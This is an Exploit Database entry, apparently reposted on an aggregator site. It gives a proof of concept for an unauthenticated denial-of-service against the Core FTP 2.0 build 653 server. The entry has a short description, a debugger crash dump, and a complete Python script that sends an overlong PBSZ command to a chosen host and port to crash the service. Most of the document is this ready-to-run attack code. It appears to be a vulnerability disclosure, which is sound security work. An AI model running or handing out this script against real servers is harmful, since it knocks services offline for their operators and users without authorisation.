Core FTP 2.0 build 653 – ‘PBSZ’ Denial of Service (PoC)

• Exploit Database
• 60 阅读

• 作者： Hodorsec
  日期： 2019-03-12
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46532/

• # Exploit Title: Core FTP 2.0 build 653 - 'PBSZ' - Unauthenticated - Denial of Service (PoC)
  # Date: 2019-03-12
  # Exploit Author: Hodorsec (hodorsec@protonmail.com / hodor@hodorsec.com)
  # Vendor Homepage: http://www.coreftp.com/
  # Software Link: http://coreftp.com/server/download/archive/CoreFTPServer653.exe
  # Version: Version 2.0, build 653, 32-bit
  # Tested on: Windows 8.1 6.3 (build 9600)
  # CVE: N/A
  
  # Description: 
  # CoreFTP 2.0 is vulnerable to a DoS attack via the PBSZ command. Ironically, this command is being used for "Protection Buffer Size" 
  # and CoreFTP responds unauthenticated.
  # The PBSZ command in CoreFTP only allows for a certain length of the string to be vulnerable to a DoS.
  # This script triggers the DoS and filling ECX with the intented buffer. 
  # Although NSEH/SEH is overwritten, the executable binary is SafeSEH protected and no other assemblies are referenced.
  
  # Replication:
  # - Install CoreFTP and setup a domain with an IP and path
  # - Start the service or click "Start"
  # - No need to add users or set anything specific: just run the script and watch it crash
  
  # Crash as service:
  # (7e0.bf4): Access violation - code c0000005 (first chance)
  # First chance exceptions are reported before any exception handling.
  # This exception may be expected and handled.
  # *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files (x86)\CoreFTPServer\coresrvr.exe
  # eax=00000000 ebx=00a5b048 ecx=42424242 edx=00000000 esi=00000258 edi=00000000
  # eip=004491f5 esp=0128c4bc ebp=0129f684 iopl=0 nv up ei ng nz na po nc
  # cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010282
  # coresrvr+0x491f5:
  # 004491f5 83b92c08000000cmp dword ptr [ecx+82Ch],0 ds:002b:42424a6e=????????
  
  #!/usr/bin/env python
  import sys, socket, struct, time
   
  if len(sys.argv) <= 2:
  print "Usage: python " + sys.argv[0] + " [host] [port]"
  exit()
   
  host = sys.argv[1]
  port = int(sys.argv[2])
  
  # Maximum length
  maxlen = 211
  
  # Offsets
  crash_ecx = 199
  crash_nseh = 99
  
  # Variables
  prefix = "A" * crash_ecx
  ecx = "B" * 4 # 004491f5; CMP DWORD PTR DS:[ECX+82c],0 
  suffix = "C" * (maxlen - len(prefix + ecx))
  
  # Payload
  payload = prefix + ecx + suffix
  
  print "[+] Connecting to " + host + "\n"
  
  try:
  print "[+] Sending payload with " + str(len(payload)) + " length message..."
  
  
  req = (
  "PBSZ " + payload
  )
  
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.settimeout(2)
  s.connect((host, port))
  s.send(req)
  s.recv(1024)
  s.close()
  
  time.sleep(0.5)
  except Exception,e:
  print "[!] Error occured: " + str(e)
  print "[*] Crashed occured at buffer length: " + str(len(payload))
  sys.exit()